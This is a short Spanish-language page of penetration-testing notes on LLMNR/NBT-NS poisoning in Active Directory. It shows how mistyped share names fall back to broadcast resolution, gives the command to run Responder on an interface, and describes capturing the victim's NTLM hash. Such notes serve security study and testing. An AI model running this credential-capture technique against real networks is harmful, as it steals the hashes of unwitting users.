> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/llmnr-nbt-ns-poisoning.md).

# Envenenamiento LLMNR / NBT-NS

Notas de seguridad de Active Directory para Envenenamiento LLMNR / NBT-NS, que cubren enumeración, Kerberos, credenciales, abuso de ACL, movimiento lateral, flujo de explotación y pasos de validación.

Si el acceso es con un nombre válido, la resolución primero pasa por el DNS del controlador de dominio.

{% code overflow="wrap" %}

```bash
dir //WS01/c$
```

{% endcode %}

Si el nombre no existe, Windows entonces intenta una resolución a través de `LLMNR`  o  `NBT-NS` en difusión.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b16a473d284d3a856bdb0b93e6ae8ff7a805637%2Fimage%20(3326).png?alt=media" alt=""><figcaption></figcaption></figure>

Desde Linux podemos escuchar estas solicitudes y responder con `Responder`.

{% code overflow="wrap" %}

```bash
sudo responder -I ens33
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54191cff03c1742aa52d17b646cac5891e101082%2Fimage%20(3327).png?alt=media" alt=""><figcaption></figcaption></figure>

Si una víctima introduce el nombre incorrecto del recurso compartido, la consulta entonces recae en nuestra máquina.

{% code overflow="wrap" %}

```bash
dir //test/c$
```

{% endcode %}

Luego recuperamos el hash NTLM de la cuenta que intenta establecer la conexión.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f583775a8076a1ee87aa4400fee0b32587b1c78%2Fimage%20(3328).png?alt=media" alt=""><figcaption></figcaption></figure>


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